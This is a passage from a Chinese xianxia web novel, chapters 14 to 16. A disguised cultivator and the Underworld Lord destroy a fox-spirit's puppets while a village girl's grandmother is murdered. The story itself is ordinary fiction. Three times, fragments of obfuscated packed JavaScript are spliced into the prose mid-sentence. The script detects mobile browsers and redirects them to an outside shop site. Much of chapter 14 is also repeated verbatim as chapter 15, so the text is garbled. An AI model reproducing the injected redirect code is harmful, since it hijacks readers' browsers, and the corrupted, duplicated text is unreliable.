又想到了那个仅有一面之缘的女人,为了她回不来的孩子,死得惊天动地却又悄无声息。遗留的痕迹被短暂的大雨冲刷干净,孩子的遗物与她自己的遗体落入了仇人手中。仇人会怎么办呢?大概毫不在意地随手“处理”掉了她人生中残留的最宝贵的东西。 不远处有一座石台,通体漆黑,上面篆刻着某种奇异的符号。 “报喜鸟”虔诚地跪在石台旁,嘴里嘟嘟囔囔着,状似祈祷。 修士耳聪目明,漆瑭隐约能听到他在说“狐仙启上,蒙恩泽庇佑,特备人祭”云云。 随着“嗡——”的声响,眼前的竹林忽然簌簌抖动,紧接着如同排列重组般,竹子飞速移动。众人面前出现了一条深而长的小径。 “呵,修的还挺快。” 漆瑭忽然听见耳边传来一声吐槽。她看了看身边盯着竹林目瞪口呆的小孩们,似乎都没有听到这声音,心知易昀不仅隐身,还用了传音。 昨日易昀从外到里,把恶蜮留在此处的小心机毁了个干净。这竹林迷阵本已失效,不想过了一夜,又修好了。 八人在“报喜鸟”的安排下排成一列步入小径,打头的是最为兴奋的李尚。漆瑭则在第四位,最不惹眼的位置,露出适当的紧张神色,惴惴不安地来回打量。 周身空气陡然变凉,也许是因为竹叶密匝,将原本温热的太阳遮去了大半,氛围莫名有些阴森。 “我,我有点害怕。” 跟在漆瑭身后的一个女孩颤抖着声音道。 漆瑭佯装恐惧,附和道:“我也是。” 实际上,她的神识全神贯注地戒备着四周,提防可能发生的不测。虽然她不愿多管闲事,但是既然来了,顺便救下这几个无知的小孩只不过是顺手的事。 “怕什么?”带头的李尚大喇喇地宽慰大家,“我娘说了,见到狐仙得大大方方的,留下一个好印象。若是叫狐仙大人知道你们害怕它,那多不好!” 有一两个附和的,其余的孩子们保持沉默,各怀心思。 风吹竹叶飒飒落下,忽然之间,白日变成黑天。 “哇!”,“啊!” 几人俱被吓了一跳,只是有的更加兴奋了,有的则更加惶恐。 “这就是狐仙的力量吗?”不知谁满口向往地嘟囔了一声。 引来了四五人的附和“狐仙竟是真的”、“我们也是来学这个的吗?”等等。 漆瑭沉默,观察周围的同时,也在分辨易昀存在的蛛丝马迹。那边地上厚厚的竹叶有些微塌陷,难道他在那? “故弄玄虚。”身后忽然幽灵似的冒出来一个人声,那不屑傲慢的语调,不是易昀又是谁? 漆瑭心想:又跟她搭话了,莫非他气消了?不别扭了? 她佯装一脚没踩稳,将要跌倒,于是顺其自然地伸手乱抓,抓住了身后某人的袖口。 “哎呀。”一声。 易昀既没有扶住她也没有拨开她,木头桩子似的杵着,让人摸不准他的想法。 漆瑭心里隐有猜测,这个总是脾气暴躁的冥主大人,像一只刺猬似的。对别人给予的好,既排斥又向往,对亲近的关系既抗拒又新奇。她想攻心,就得试探着从这方面开刀。 于是她悄声道:“多谢阿兄。” 说完,立马松开他,刻意不去探查他的反应。 这时,竹林小径开始变化了。原本深邃不知其深的小径,几经转换,不远处的终点就提前落到了众人眼前。 出了竹林,竟是一处平坦空地,当中有一巨坑,宽且浅。 李尚像一只探头探脑的鹅,好奇地凑上去打量。除了一个蓝衣男孩跟着李尚,其余人都稍微谨慎些,都簇拥在入口处,尚不敢前进。 “啊!这是什么——” 蓝衣男孩见鬼似的惊呼一声,随即扭头朝着众人跑了回来。 “你看到什么了?” “那坑里是什么东西?” 有人问。 也有的孩子立马吓哭了,含糊道:“别,别说了,我们走吧,我好害怕。” 蓝衣男孩率先扭头往外跑,熟料原本竹林小径已经消失不见,只剩一片密密匝匝的整齐竹林。 “路不见了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612420|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这出意外后,大部分孩子都慌乱了,最先哭的那个已经开始喊“阿爹阿娘”了。 “别嚎了!”就在漆瑭不得已准备出面主持大局时,一个梳着双丫髻的女孩站了出来,“嚎也出不去,还不如看看这到底是什么地方。” 漆瑭乐得降低存在感,随着大流跟在双丫髻身后走到坑边。 坑里并没有什么洪水猛兽,也没有什么血腥残暴的画面,只有一地颇显违和的孩童衣服。 有人道:“这……这有什么吓人的,张远你嚎什么?” 另有一人小声道:“莫非这是上一批那八个比我们还小的学童们留在这里的?” “应该是了,随狐仙大人修习是不是换特定衣裳啊?所以他们把旧衣脱掉后都丢在这里了?” 这样的猜测抚慰了孩子们惶惶然的心,原本紧张的气氛陡然一松。 漆瑭眯了眯眼睛,除了衣裳,似乎还有别的东西…… “不!当然不是,你们没看到吗!那里,头发,好多头发!”名为张远的蓝衣男孩惊恐地指给众人看。 只见浅坑边缘,有一团乱糟糟的黑色。仔细看才能看出来那是一大团头发,甚至只露出了一个角,剩下的被遮盖在散乱的衣裳之下。 哪怕是一个孩子满头的头发都剃光,也绝不会有这么多。那一大团,加上被隐藏起的部分,令人心里冒出一个不可思议的念头:莫非这是先前那八人所有的头发? 李尚“嗨”了一声,安抚大家道:“别紧张嘛,要我说张远就是自己吓唬自己,头发有什么可怕的?你们听说过梯度吗?就是那些僧人啊,他们遁入空门什么的,都需要先把头发剃光。” 有个女孩道:“不行,我不要变成光头!我要回家呜呜呜!” 凡人小孩们看不清,漆瑭却看得一清二楚。 那些头发裸露地发根,并不是齐根而断,反而凹凸不平,看起来像是连根拔起。她想到先前季棠说过的“恶蜮进补”,连肉带魂会一起吞掉。可是衣裳和头发却留了下来…… 她忽然生出一个很恶心的念头:莫非恶蜮进补还会挑嘴? 假设这是真的,那很多东西都可以解释清楚了,比如为何恶蜮只挑选孩童“祭品”。难道只是因为口感好? 她传音问道:“尊上,恶蜮分身莫非还在山上?” 化形诀下,“云茴”的身形比漆瑭更加娇小,一张小脸也是截然不同的天真稚嫩。然而那双狐狸眼中忽闪的眼神,却是熟悉的灵动狡黠。 易昀莫名觉得,哪怕他不知道此人是用了化形诀,但在看到那双眼睛的瞬间,还是能认出壳子里的是谁。 他垂眸看着她,或者说,从方才她扯他衣袖时就一直在看。 也许因为心知她看不到,那目光无意识地变得深沉而肆无忌惮。带着烦躁不已与无可奈何,带着不自知的不安与恐惧,情难自禁地被她吸引。 易昀祭出云起盘,青铜为底,上置一根神木削作的针状物。被驱动后缓缓旋转起来,越转越快,快到肉眼难以看清。 这说明附近恶蜮残留的恶念非常之浓。 可是云起盘虽能感应恶念,却难以探知恶蜮分身所在。 就好比将恶念比作恶蜮的血液,血液洒出来,会在所经之处留下血腥气;可若血液好好地待在身体内,原本明显的血腥气就会被□□牢牢锁住,无法察觉。 不过无所谓,这地方他能毁一次,还能毁第二次。 抬手,风起。 凭空出现无数黑龙,以摧枯拉巧之势向四面八方的竹林袭去。 在孩子们的惊呼声中,竹林如倒伏的麦田一般尽数折断。随着竹林被毁,黑天也渐褪去,露出了原本的青天白日。太阳重新倾洒下来,将无数翻飞的竹叶照得分明。 竹叶落尽,竹林边缘不知何时出现一个人影。头戴斗笠,身披蓑衣,脚踩雨靴。 14. 姜阿婆之死 姜云茴脸盲,这是娘胎里就带下来的毛病,这十三年一直没能改过来。将人认错是老生常谈,可是将猫认错却是头一次——或者说,是头一次发现。 神仙姐姐替她走后,云茴就不敢出门了,奶奶紧闭大门几乎不与任何人来往。 云茴百无聊赖地抱着小猫,坐在窗前盯着后院发呆。 今天阳光正好,窗户里漏进来的阳光将人的身子晒得暖暖的。往天上看,天空很蓝,但是阳光很刺眼。 云茴将目光收回来,忽然瞥见院墙上出现了一个熟悉的毛茸茸的影。 长得和小猫很像,可是小猫不是正在她的怀里吗?她仔细对比二者,猛地反应过来——那只成了精的浣熊! 她有些怕,立马将窗户阖上。 熟料浣熊妖竟跑来挠窗。 “你暴露了,不想死的话,在那两个修士回来前往山上跑!” 云茴听不太懂,什么叫“不想死的话”?又为什么要往山上跑,山上不是“狐仙”的地盘吗? 可是她想,那浣熊妖也就是“蹭了蹭澡”,并没有做什么伤害她的事,现在会不会只是好心提醒她呢?难道山上发生了什么事,还是说这里要发生什么事? 她打算细问一下,所以掀开了窗,结果窗外空荡荡,已经没有了浣熊妖的身影。 “奶奶!”她丢下狸花猫,往前屋跑去,准备告知奶奶发生的事,问问她怎么办。 这时,前院传来“咚”的一声。 是院门被强行破开了,云茴兔子似的一惊,呆愣在原地全然不知发生了什么。 她听见有人问:“姜家云茴李代桃僵,狐仙大人震怒,姜阿婆,请你配合些平息狐仙大人怒气。” 完了,他们知道了。莫非神仙姐姐被发现了,难道打不过“狐仙”,那她和她阿兄现在怎么样了? 奶奶说:“老身听不懂你们在说什么,云茴昨夜早已随马车进了忍府,目击者众多,一问便知。” 又有人说:“别和她废话,将这老婆子绑了,不怕姜家小妮子不出来。” 奶奶扬高声音,充满暗示意味地喊道:“就算绑了老身,云茴也不会出现,她早已走了。” 云茴心知这是奶奶在暗示让自己快跑,可是她的腿长在地上了似的,怎么也拔不起来。 那是将她拉扯大的奶奶,她们相依为命这么多年,她怎么能舍下奶奶自己逃跑? 外面的人喊道:“云茴小姐,你自己出来吧!你也不想你奶奶一把年纪,出个什么好歹吧,我们也不愿当真动手,和和气气最好了,你说是不是!” 云茴咬了咬唇,终于下定了决心,抬腿往外走。然而脚下却有一个小小的阻力挡了她一下,她垂头看,只见狸花猫正四爪扒在地上,死死咬着她的裙边。 云茴蹲下身,轻轻揉了揉猫头,忽然有点想哭。但她吸了吸鼻子,悄声说:“好了小猫,松开我吧,没事的。” 小猫不松口,可它的力气实在太小了,拦不住一个下定决心的人。 屋门打开了,俏生生的小姑娘站在门前。身后地面上爬着门框的影,亮堂堂的四方形,将她小小的影子框在里面,像是一个永远爬不出去的囹圄。 “我来了,你们放了我奶奶。” ** 山上。 八个蓑衣人从八个方向包围而来,乍看气势惊人。 孩子们拥作一团,怕得发抖。李尚和“云茴”最熟,于是他贴到云茴身边,煞有介事地分析道:“其实,我觉得这有可能是狐仙对我们的考验,叫什么,练胆试验。” 漆瑭:还没觉得不对呢,这傻孩子…… 李尚其实有点怕,但他觉得自己是受他人影响,俗话说环境影响人嘛。所以他给自己打气:现在只有我一个顶梁柱了,我不能被打倒,我要成为他们的榜样,成为第一个学成下山的人! 他强忍着惧意离开小团体,上前一步对蓑衣人说道:“在……在下……” 话音未落,身后黑龙突起,向着蓑衣人席卷而去。蓑衣、斗笠俱被撕碎,露出里面的东西—— 以竹做四肢,构建了一个人形架,被蓑衣藏得严严实实的。架子最上方托着一只直立的狐狸,狐狸头掩藏在斗笠之下。 八只狐狸四散奔逃。 可是跑不过黑龙。黑气一卷,狐狸们哀叫一声便失去了生机,身躯里逃逸出一簇紫火,发出婴儿啼哭的尖叫声。 接着,紫火在黑气中被碾碎。 李尚目瞪口呆,嘴巴长大得能塞下一个水煮蛋。 肩膀忽然被谁拍了拍,他迟疑地回头,只见是那个胆小谨慎的云茴。她的神情前所未有的冷静,淡声提醒:“你后退几步,跟他们站到一块去。” 李尚摸不着头脑,他想:你一个脸盲的小姑娘这时候出什么风头呢? 在这六神无主的当口,几乎是不由自主地拿她当成主心骨了,听话地和孩子们簇拥了过去。等七人挤挤歪歪地站在一块了,他才惊觉:咦,我怎么这么听话? 那个总是满脸不安的胆小女孩云茴,在众人不可置信的目光中,双手掐诀,朝他们这个圈丢了数层防护罩、缓解诀等等。随后隔空在他们周围的土地上画了一个圆圈,冷静地说:“你们不要出来。” 她这些日子在那修行手册里学的法诀,虽然还在初阶段,但聊胜于无。帮他们抵挡一两击应该不成问题。 有人道:“你,你不是和我们一样吗?我们,我们为何要信你!” “对!她是不是耍我们玩,她、她、她不是和我们一样,明明都是凡人啊!” “爱信不信,但你们最好是信。”漆瑭并未多言,接着在众人的目光下转身对着空气道:“已经到这时候了,恶蜮还不现身,分明知道那些恶念无法拿你怎么办。阿兄,我怀疑恶蜮这是一招声东击西,它此时会不会在山下?” 在众人愈发不可置信的目光中,空无一人的空气里忽然现出一个男子身影。 男人很高,尤其是和这一群萝卜丁相比,愈发显得高大。他神色冷淡,气势迫人,小豆丁们抱在一起瑟瑟发抖,觉得他比那些蓑衣狐狸还瘆人。 易昀现在对漆瑭的观感很复杂,他想不明白很多事,所以冷冷道:“在山下更好,说明它肯定会回来的,总比去海里好找。” 漆瑭顿了一下才想明白。恶蜮在山下说明它打着将他们引开后,自己去寻觅祭品的主意。寻到祭品后,恶蜮进补还需“献祭”这一过程,作法献祭需献祭石,也就是竹林外那块古怪的巨石。所以他说恶蜮一定还会回来的。 可是——“我觉得,不如直接去山下杀了它。毕竟它强买强卖那些凡人,若有人反抗,想必又是一笔血孽。” 他仿佛专门跟她对着来,想向她证明什么似的,漫不经心地说:“他们的性命,和本尊有什么干系?漆瑭,你对本尊是不是有什么误解?” 在此之前,漆瑭确实把这一切由恶蜮引发的事和他联系在一起了,毕竟是他负责封印,也是他负责追踪。 所以几乎是未经思考就问了出来:“可你不是负责封印恶蜮吗?” 他盯着她的双眼,轻笑一声,“如你所说,若本尊没有封印恶蜮,任它兴风作浪千年,人间界怎么可能这么和平安宁。人间界的东西自己管不了,只能让本尊管,可若本尊不想管了,又能怎样?” 这话凉薄至极,让漆瑭有一瞬的心惊,可是她莫名觉得他说的话是真的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13613095|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的心里没有什么苍生大义,为人处世百无禁忌。说来漆瑭也有些好奇,在最初,他这样的人究竟是为什么要挑起封印恶蜮的担子? 为了什么,还是,为了谁? 眼前闪过了曾在前尘蜃境中看到的那一幕—— 他和救世神女琼华仙君。 本来她以为与琼华仙君有旧的是他体内的心魔态人格,所以心魔态会爱屋及乌,对和琼华仙君长相相似的她有所偏爱。她也是凭此反推,既然正常态的他对她这样恶劣,那说明正常态的他与琼华仙君没什么干系。 可是现在她有些怀疑。 正常态的冥主,在千年前会不会是为了神女才违背本能意愿,封印恶蜮守护天下清明。 也许“琼华仙君的仙骸去哪了”这个问题的答案,能帮她窥见真相。 也许因为好奇心是人类的天性,也许出于“攻心”的计谋,漆瑭将这个小线索从记忆深处翻到了浅层,准备寻机探究。 显然现在不是探究那个问题的时候,漆瑭想到了姜家小院,心里忽有一种不祥的预感。 “不多管闲事”是漆瑭的座右铭,也是她曾经一次次吃亏后总结的宝贵生存经验。但其实她很少能做到,因为每一次遇到“闲事”,她都会忍不住“顺手”掺合一下。 “可是我还挺想回去看看的,姜阿婆煮的鸡汤很好喝,如果可以的话走之前我还想再喝一次。所以阿兄,你可以带我走一趟吗?”晶莹的眼神里信赖感几乎要泻出来,她双手合十“求你啦。” 易昀第一次见到这样的她,整个人跟被什么东西打了一下似的,错愕之余有些眩晕。 于是脸色一沉,斥道:“麻烦。” 漆瑭心想,撒娇竟然不管用,看来“攻心”进度还是差一点…… 然而紧接着,他竟然抬手抓起了她的衣领。漆瑭眼神一亮,匆忙往小孩们那里甩下三四个防护罩,最后叮嘱道:“千万别出来!” 二人身形一闪,消失了。 孩子们木木愣愣地看着二人消失的地方,半晌,李尚咽了口唾沫道:“神神神,那小丫头竟是神仙?!” …… 易昀提着漆瑭,施展缩地成寸之术瞬间便抵达了姜家。 可映入眼帘的景象却让人心惊。那院门竟大敞着,小院之中一片凌乱不堪。那只前两日漆瑭还见小姑娘用来把浣熊妖塞进去洗澡的、原本安稳搁在屋檐下接水的木桶,此刻已被摔得支离破碎,残片散落一地。 在那墙角处,蜷缩着一团模糊的人影。 漆瑭的心仿若被一只无形的大手狠狠揪住,她顾不上其他,一个箭步便匆匆走了过去。 “姜……阿婆?” 然而地上的人却无法给予她任何回应了,姜阿婆的生机已然彻底断绝。像一截枯死的老木,悄无声息地被遗弃在院角的阴影里。 漆瑭愣住了。 只是萍水相逢罢了,她跟自己说,无论是在这个修真乱世还是在从前那个星际乱世,死人都是最常见不过的事了。 饿死、谋杀、战争、车祸…… 她见过许多死人了不是吗?为什么还是会心里难受。 易昀眯了眯眼睛,总觉得她下一瞬就会哭了——可是没有,就像上次一样,那两只眼睛像两泊浅湖,清澈而倔强。 这一刻的她剥去了层层伪装,真实至极。茫然与悲伤的情绪像是某种熏香,将他也浸染在其中。 他摁了摁心口,有些疑惑,又酸又苦的,这是什么情绪?自己又为何会被她感染? 漆瑭彷佛愣了很久,又仿佛只是片刻。 片刻后,她平静地转回身,无所谓地笑了笑,说:“可惜了,喝不上鸡汤了。” 15. 姜阿婆之死 姜云茴脸盲,这是娘胎里就带下来的毛病,这十三年一直没能改过来。将人认错是老生常谈,可是将猫认错却是头一次——或者说,是头一次发现。 神仙姐姐替她走后,云茴就不敢出门了,奶奶紧闭大门几乎不与任何人来往。 云茴百无聊赖地抱着小猫,坐在窗前盯着后院发呆。 今天阳光正好,窗户里漏进来的阳光将人的身子晒得暖暖的。往天上看,天空很蓝,但是阳光很刺眼。 云茴将目光收回来,忽然瞥见院墙上出现了一个熟悉的毛茸茸的影。 长得和小猫很像,可是小猫不是正在她的怀里吗?她仔细对比二者,猛地反应过来——那只成了精的浣熊! 她有些怕,立马将窗户阖上。 熟料浣熊妖竟跑来挠窗。 “你暴露了,不想死的话,在那两个修士回来前往山上跑!” 云茴听不太懂,什么叫“不想死的话”?又为什么要往山上跑,山上不是“狐仙”的地盘吗? 可是她想,那浣熊妖也就是“蹭了蹭澡”,并没有做什么伤害她的事,现在会不会只是好心提醒她呢?难道山上发生了什么事,还是说这里要发生什么事? 她打算细问一下,所以掀开了窗,结果窗外空荡荡,已经没有了浣熊妖的身影。 “奶奶!”她丢下狸花猫,往前屋跑去,准备告知奶奶发生的事,问问她怎么办。 这时,前院传来“咚”的一声。 是院门被强行破开了,云茴兔子似的一惊,呆愣在原地全然不知发生了什么。 她听见有人问:“姜家云茴李代桃僵,狐仙大人震怒,姜阿婆,请你配合些平息狐仙大人怒气。” 完了,他们知道了。莫非神仙姐姐被发现了,难道打不过“狐仙”,那她和她阿兄现在怎么样了? 奶奶说:“老身听不懂你们在说什么,云茴昨夜早已随马车进了忍府,目击者众多,一问便知。” 又有人说:“别和她废话,将这老婆子绑了,不怕姜家小妮子不出来。” 奶奶扬高声音,充满暗示意味地喊道:“就算绑了老身,云茴也不会出现,她早已走了。” 云茴心知这是奶奶在暗示让自己快跑,可是她的腿长在地上了似的,怎么也拔不起来。 那是将她拉扯大的奶奶,她们相依为命这么多年,她怎么能舍下奶奶自己逃跑? 外面的人喊道:“云茴小姐,你自己出来吧!你也不想你奶奶一把年纪,出个什么好歹吧,我们也不愿当真动手,和和气气最好了,你说是不是!” 云茴咬了咬唇,终于下定了决心,抬腿往外走。然而脚下却有一个小小的阻力挡了她一下,她垂头看,只见狸花猫正四爪扒在地上,死死咬着她的裙边。 云茴蹲下身,轻轻揉了揉猫头,忽然有点想哭。但她吸了吸鼻子,悄声说:“好了小猫,松开我吧,没事的。” 小猫不松口,可它的力气实在太小了,拦不住一个下定决心的人。 屋门打开了,俏生生的小姑娘站在门前。身后地面上爬着门框的影,亮堂堂的四方形,将她小小的影子框在里面,像是一个永远爬不出去的囹圄。 “我来了,你们放了我奶奶。” ** 山上。 八个蓑衣人从八个方向包围而来,乍看气势惊人。 孩子们拥作一团,怕得发抖。李尚和“云茴”最熟,于是他贴到云茴身边,煞有介事地分析道:“其实,我觉得这有可能是狐仙对我们的考验,叫什么,练胆试验。” 漆瑭:还没觉得不对呢,这傻孩子…… 李尚其实有点怕,但他觉得自己是受他人影响,俗话说环境影响人嘛。所以他给自己打气:现在只有我一个顶梁柱了,我不能被打倒,我要成为他们的榜样,成为第一个学成下山的人! 他强忍着惧意离开小团体,上前一步对蓑衣人说道:“在……在下……” 话音未落,身后黑龙突起,向着蓑衣人席卷而去。蓑衣、斗笠俱被撕碎,露出里面的东西—— 以竹做四肢,构建了一个人形架,被蓑衣藏得严严实实的。架子最上方托着一只直立的狐狸,狐狸头掩藏在斗笠之下。 八只狐狸四散奔逃。 可是跑不过黑龙。黑气一卷,狐狸们哀叫一声便失去了生机,身躯里逃逸出一簇紫火,发出婴儿啼哭的尖叫声。 接着,紫火在黑气中被碾碎。 李尚目瞪口呆,嘴巴长大得能塞下一个水煮蛋。 肩膀忽然被谁拍了拍,他迟疑地回头,只见是那个胆小谨慎的云茴。她的神情前所未有的冷静,淡声提醒:“你后退几步,跟他们站到一块去。” 李尚摸不着头脑,他想:你一个脸盲的小姑娘这时候出什么风头呢? 在这六神无主的当口,几乎是不由自主地拿她当成主心骨了,听话地和孩子们簇拥了过去。等七人挤挤歪歪地站在一块了,他才惊觉:咦,我怎么这么听话? 那个总是满脸不安的胆小女孩云茴,在众人不可置信的目光中,双手掐诀,朝他们这个圈丢了数层防护罩、缓解诀等等。随后隔空在他们周围的土地上画了一个圆圈,冷静地说:“你们不要出来。” 她这些日子在那修行手册里学的法诀,虽然还在初阶段,但聊胜于无。帮他们抵挡一两击应该不成问题。 有人道:“你,你不是和我们一样吗?我们,我们为何要信你!” “对!她是不是耍我们玩,她、她、她不是和我们一样,明明都是凡人啊!” “爱信不信,但你们最好是信。”漆瑭并未多言,接着在众人的目光下转身对着空气道:“已经到这时候了,恶蜮还不现身,分明知道那些恶念无法拿你怎么办。阿兄,我怀疑恶蜮这是一招声东击西,它此时会不会在山下?” 在众人愈发不可置信的目光中,空无一人的空气里忽然现出一个男子身影。 男人很高,尤其是和这一群萝卜丁相比,愈发显得高大。他神色冷淡,气势迫人,小豆丁们抱在一起瑟瑟发抖,觉得他比那些蓑衣狐狸还瘆人。 易昀现在对漆瑭的观感很复杂,他想不明白很多事,所以冷冷道:“在山下更好,说明它肯定会回来的,总比去海里好找。” 漆瑭顿了一下才想明白。恶蜮在山下说明它打着将他们引开后,自己去寻觅祭品的主意。寻到祭品后,恶蜮进补还需“献祭”这一过程,作法献祭需献祭石,也就是竹林外那块古怪的巨石。所以他说恶蜮一定还会回来的。 可是——“我觉得,不如直接去山下杀了它。毕竟它强买强卖那些凡人,若有人反抗,想必又是一笔血孽。” 他仿佛专门跟她对着来,想向她证明什么似的,漫不经心地说:“他们的性命,和本尊有什么干系?漆瑭,你对本尊是不是有什么误解?” 在此之前,漆瑭确实把这一切由恶蜮引发的事和他联系在一起了,毕竟是他负责封印,也是他负责追踪。 所以几乎是未经思考就问了出来:“可你不是负责封印恶蜮吗?” 他盯着她的双眼,轻笑一声,“如你所说,若本尊没有封印恶蜮,任它兴风作浪千年,人间界怎么可能这么和平安宁。人间界的东西自己管不了,只能让本尊管,可若本尊不想管了,又能怎样?” 这话凉薄至极,让漆瑭有一瞬的心惊,可是她莫名觉得他说的话是真的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645137|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他的心里没有什么苍生大义,为人处世百无禁忌。说来漆瑭也有些好奇,在最初,他这样的人究竟是为什么要挑起封印恶蜮的担子? 为了什么,还是,为了谁? 眼前闪过了曾在前尘蜃境中看到的那一幕—— 他和救世神女琼华仙君。 本来她以为与琼华仙君有旧的是他体内的心魔态人格,所以心魔态会爱屋及乌,对和琼华仙君长相相似的她有所偏爱。她也是凭此反推,既然正常态的他对她这样恶劣,那说明正常态的他与琼华仙君没什么干系。 可是现在她有些怀疑。 正常态的冥主,在千年前会不会是为了神女才违背本能意愿,封印恶蜮守护天下清明。 也许“琼华仙君的仙骸去哪了”这个问题的答案,能帮她窥见真相。 也许因为好奇心是人类的天性,也许出于“攻心”的计谋,漆瑭将这个小线索从记忆深处翻到了浅层,准备寻机探究。 显然现在不是探究那个问题的时候,漆瑭想到了姜家小院,心里忽有一种不祥的预感。 “不多管闲事”是漆瑭的座右铭,也是她曾经一次次吃亏后总结的宝贵生存经验。但其实她很少能做到,因为每一次遇到“闲事”,她都会忍不住“顺手”掺合一下。 “可是我还挺想回去看看的,姜阿婆煮的鸡汤很好喝,如果可以的话走之前我还想再喝一次。所以阿兄,你可以带我走一趟吗?”晶莹的眼神里信赖感几乎要泻出来,她双手合十“求你啦。” 易昀第一次见到这样的她,整个人跟被什么东西打了一下似的,错愕之余有些眩晕。 于是脸色一沉,斥道:“麻烦。” 漆瑭心想,撒娇竟然不管用,看来“攻心”进度还是差一点…… 然而紧接着,他竟然抬手抓起了她的衣领。漆瑭眼神一亮,匆忙往小孩们那里甩下三四个防护罩,最后叮嘱道:“千万别出来!” 二人身形一闪,消失了。 孩子们木木愣愣地看着二人消失的地方,半晌,李尚咽了口唾沫道:“神神神,那小丫头竟是神仙?!” …… 易昀提着漆瑭,施展缩地成寸之术瞬间便抵达了姜家。 可映入眼帘的景象却让人心惊。那院门竟大敞着,小院之中一片凌乱不堪。那只前两日漆瑭还见小姑娘用来把浣熊妖塞进去洗澡的、原本安稳搁在屋檐下接水的木桶,此刻已被摔得支离破碎,残片散落一地。 在那墙角处,蜷缩着一团模糊的人影。 漆瑭的心仿若被一只无形的大手狠狠揪住,她顾不上其他,一个箭步便匆匆走了过去。 “姜……阿婆?” 然而地上的人却无法给予她任何回应了,姜阿婆的生机已然彻底断绝。像一截枯死的老木,悄无声息地被遗弃在院角的阴影里。 漆瑭愣住了。 只是萍水相逢罢了,她跟自己说,无论是在这个修真乱世还是在从前那个星际乱世,死人都是最常见不过的事了。 饿死、谋杀、战争、车祸…… 她见过许多死人了不是吗?为什么还是会心里难受。 易昀眯了眯眼睛,总觉得她下一瞬就会哭了——可是没有,就像上次一样,那两只眼睛像两泊浅湖,清澈而倔强。 这一刻的她剥去了层层伪装,真实至极。茫然与悲伤的情绪像是某种熏香,将他也浸染在其中。 他摁了摁心口,有些疑惑,又酸又苦的,这是什么情绪?自己又为何会被她感染? 漆瑭彷佛愣了很久,又仿佛只是片刻。 片刻后,她平静地转回身,无所谓地笑了笑,说:“可惜了,喝不上鸡汤了。” 16. 漆瑭 云茴不明白事情为什么会发展到如此地步。 当时忍青不知从哪突然跳了出来,撒出一张渔网,将院里的不速之客们统统罩住,匆忙嚷道:“姜云茴快跑!小爷来救你了!” 云茴当时虽然没认出那长相是谁,却记得那句“小爷”。所以她更摸不着头脑了:“青少”很讨厌她,从前遇到她必然是要欺负刁难一番的,如今这是在做什么? 被渔网罩住的四五人都是彪形大汉,他们都是忍府雇佣的护院仆从,有人惊道:“青少啊!您您您,老爷不是让您在祠堂呆着吗?您跑来这里做什么?!” 用以下海捕鱼的粗线渔网极为坚固,经过挣扎反而越缠越乱,于是几人一时半会竟没能挣开束缚。 当时情况乱作一团,又有忍青一个劲的煽风点火:“快跑啊别枉费小爷的心意!” 云茴六神无主下,牵起奶奶就往屋后跑。她没看到,身后的马车上走下来一个身披蓑衣的人,头戴斗笠,脚踩雨靴,与这朗朗晴天格格不入,显得分外诡异。 她发现自己跑不动,身体在动,四周的景色却不动,仿佛是在原地踏步。 奶奶轻轻拍了拍她的手,耳语的声音是从未有过的凝重:“阿茴待会听话,叫你跑,你就快跑,能跑得多远跑多远,只要有一线希望,也不许放弃。听到了吗?” 在云茴的记忆里,奶奶从未这样严肃地命令过她。她茫然无措地怔怔点头。 后来发生的事她记不清了。 听说人在遭受重大精神挫伤后,本能会自动淡化那段记忆。所以最开始,在她的记忆里一切都是模糊的—— 太阳惨白,白得刺眼。周围有很多人,怒喝、惊叫、拳打脚踢,像无数灰白的色块在蠕动。 最后是满目的红,像是小时候第一次学丹青,打翻了一罐朱砂,红色的水涂满地面。可是奶奶不仅不教训她,还笑呵呵地弯着身子收拾…… 奶奶说:“跑……继续跑!” 云茴想不明白,奶奶怎么就倒下了。就在她转身就跑的下一刻,奶奶像片风筝似的栽落了,风筝线是血红色的,跟在奶奶的身后飘在了地上。 …… 马车行在山路上格外颠簸,轿子却不会,尤其是被十六只狐狸担着的轿子。它们在山路如履平地,走得迅疾而稳当。 轿子里,云茴坐得板正,双手平放在膝头,眼神空洞。 她正在反复回忆方才发生的一切,强行逼着自己把那层模糊的膜撕碎。这个过程很痛苦,脑袋像是针扎一样痛。 效果不太显著,她还是看不清楚发生了什么,只有奶奶倒在地上的身影,越来越清晰。 云茴想:对不起奶奶,我没再跑了。 她的身旁坐着一个女孩,惴惴不安地拧着手指。二人脚下是昏迷状态的忍青,正一头栽在轿子里,死猪一样。 二人的对面,坐着一个蓑衣人。 这时,轿子突然震颤了一下,蓑衣人缓缓抬头,蓑帽下漆黑一片。ta飞身出轿,接着,云茴听见外面传来一个有些熟悉的声音…… “人呢?” 是谁来着?她的大脑还陷在回忆里,转得迟钝,好一会才想起来那是谁—— 是神仙姐姐。 